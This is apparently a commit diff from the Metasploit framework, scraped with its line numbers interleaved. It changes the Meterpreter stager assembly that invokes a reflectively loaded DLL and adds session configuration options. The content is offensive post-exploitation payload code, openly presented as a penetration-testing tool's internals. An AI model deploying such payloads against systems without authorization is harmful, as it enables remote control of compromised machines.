@@ -42,19 +42,20 @@ def asm_invoke_metsrv(opts={})
42
42
push rbp ; save rbp
43
43
mov rbp, rsp ; set up a new stack frame
44
44
sub rsp, 32 ; allocate some space for calls.
45
+ and rsp, ~0xF ; Ensure RSP is 16 byte aligned
45
46
; GetPC
46
47
call $+5 ; relative call to get location
47
48
pop rbx ; pop return value
48
49
; Invoke ReflectiveLoader()
49
50
; add the offset to ReflectiveLoader()
50
- add rbx, #{ "0x%.8x" % ( opts [ :rdi_offset ] - 0x11 ) }
51
+ add rbx, #{ "0x%.8x" % ( opts [ :rdi_offset ] - 0x15 ) }
51
52
call rbx ; invoke ReflectiveLoader()
52
53
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
53
54
; offset from ReflectiveLoader() to the end of the DLL
54
55
add rbx, #{ "0x%.8x" % ( opts [ :length ] - opts [ :rdi_offset ] ) }
55
56
^
56
57
57
- unless opts [ :stageless ]
58
+ unless opts [ :stageless ] || opts [ :force_write_handle ] == true
58
59
asm << %Q^
59
60
; store the comms socket or handle
60
61
mov [rbx], rdi
@@ -79,13 +80,14 @@ def generate_config(opts={})
79
80
80
81
# create the configuration block, which for staged connections is really simple.
81
82
config_opts = {
82
- arch : opts [ :uuid ] . arch ,
83
- exitfunk : ds [ 'EXITFUNC' ] ,
84
- expiration : ds [ 'SessionExpirationTimeout' ] . to_i ,
85
- uuid : opts [ :uuid ] ,
86
- transports : opts [ :transport_config ] || [ transport_config ( opts ) ] ,
87
- extensions : [ ] ,
88
- stageless : opts [ :stageless ] == true
83
+ arch : opts [ :uuid ] . arch ,
84
+ null_session_guid : opts [ :null_session_guid ] == true ,
85
+ exitfunk : ds [ :exit_func ] || ds [ 'EXITFUNC' ] ,
86
+ expiration : ( ds [ :expiration ] || ds [ 'SessionExpirationTimeout' ] ) . to_i ,
87
+ uuid : opts [ :uuid ] ,
88
+ transports : opts [ :transport_config ] || [ transport_config ( opts ) ] ,
89
+ extensions : [ ] ,
90
+ stageless : opts [ :stageless ] == true
89
91
}
90
92
91
93
# create the configuration instance based off the parameters
0 commit comments